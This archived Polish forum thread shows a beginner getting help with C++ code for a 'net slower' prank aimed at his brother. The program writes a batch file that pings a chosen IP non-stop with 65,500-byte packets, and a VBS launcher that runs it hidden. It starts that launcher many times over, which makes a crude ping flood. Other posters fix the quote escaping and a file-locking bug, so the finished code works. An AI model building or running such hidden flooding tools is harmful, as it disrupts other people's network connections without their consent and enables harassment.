Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Problem z kompilacja


Rekomendowane odpowiedzi

Opublikowano

Napisałem program co żeby troche brata w domu podenerwowac jak siedzi na necie (uzywa komendy ping z duza iloscia bajtow)

 

 

#include <iostream>
#include <fstream>
#include<stdio.h>
#include<stdlib.h>

using namespace std;

int main()
{
cout << "Net zamulacz By m1chaLek(tedy20)\n\n";
char IP[15];
cout << "IP?: ";
cin >> IP;
cin.ignore();

cout << "Ile zestawow? (wywolywanych na raz): ";
int zestawy;
cin >> zestawy;
cin.ignore();

//Zapisujemy polecenie do pliku
ofstream pingowanie("ping.bat");
pingowanie << "@echo off\n"<<endl;
pingowanie << " ping.exe " << IP << " -l " << 65500 << " -t " <<endl;
pingowanie.close();

ofstream otwieranie("run.vbs");
otwieranie << "Set WshShell = CreateObject("WScript.Shell")\n" <<endl;
otwieranie << "WshShell.Run chr(34) & "ping.bat" & Chr(34), 0\n"<<endl;
otwieranie << "Set WshShell = Nothing " <<endl;
//Teraz gwóźdź programu: Pingowanie
for (int i = 0; i < zestawy; i++)
{
cout << "Uruchamiam zestaw " << i+1 << "." << endl;
system("start run.vbs");
}

cout << "Zakonczono uruchamianie zestawow! Milego pingowania xD\n";
getchar();

return 0;
}

 

Program działa tak że tworzy dwa pliki :

1. plik .bat (z nim jest wszystko wporzadku )

2. plik ,vbs (ma otwierac aplikacje w tle)

KOD PLIKU .VBS :

 

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run chr(34) & "ping.bat" & Chr(34), 0

Set WshShell = Nothing

Może ktoś mi pomoc skompilowac program? sam sie dopiero ucze i wiem że przez cudzyslowy nie moge tego skompliowac

 

otwieranie << "Set WshShell = CreateObject("WScript.Shell")\n" <<endl;
otwieranie << "WshShell.Run chr(34) & "ping.bat" & Chr(34), 0\n"<<endl;
otwieranie << "Set WshShell = Nothing " <<endl;

Opublikowano

Kody źródłowe dajesz w code.

 

Dodaj przed cudzysłowiem znak \.

 

otwieranie << "Set WshShell = CreateObject(\"WScript.Shell")\n" <<endl;
otwieranie << "WshShell.Run chr(34) & \"ping.bat\" & Chr(34), 0\n"<<endl;
otwieranie << "Set WshShell = Nothing " <<endl;

PS. To wogóle działa?


Pomagam w projektach dotyczących programowania (C++/C/Java/C#/inne). Jak masz jakiś problem, napisz do mnie, wspólnie poszukamy rozwiązania ;).

Opublikowano

Ogołnie działał ,Teraz tworzy mi te pliki ale pojawil sie drugim problem(wczesniej takiego problemu nie bylo ).

 

for (int i = 0; i < zestawy; i++)
{
cout << "Uruchamiam zestaw " << i+1 << "." << endl;
system("start run.vbs");

 

Pokazuje mi że proces nie moze uzyskac dostępu do pliku, poniewaz jest on uzywany przez inny program.

 

PS; Zrobiłem wystarczyło do tego :

 

otwieranie << "Set WshShell = CreateObject(\"WScript.Shell")\n" <<endl;
otwieranie << "WshShell.Run chr(34) & \"ping.bat\" & Chr(34), 0\n"<<endl;
otwieranie << "Set WshShell = Nothing " <<endl;

 

Dodac : otwieranie.close();

 

Dziekuje za POmoc LeSSter

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...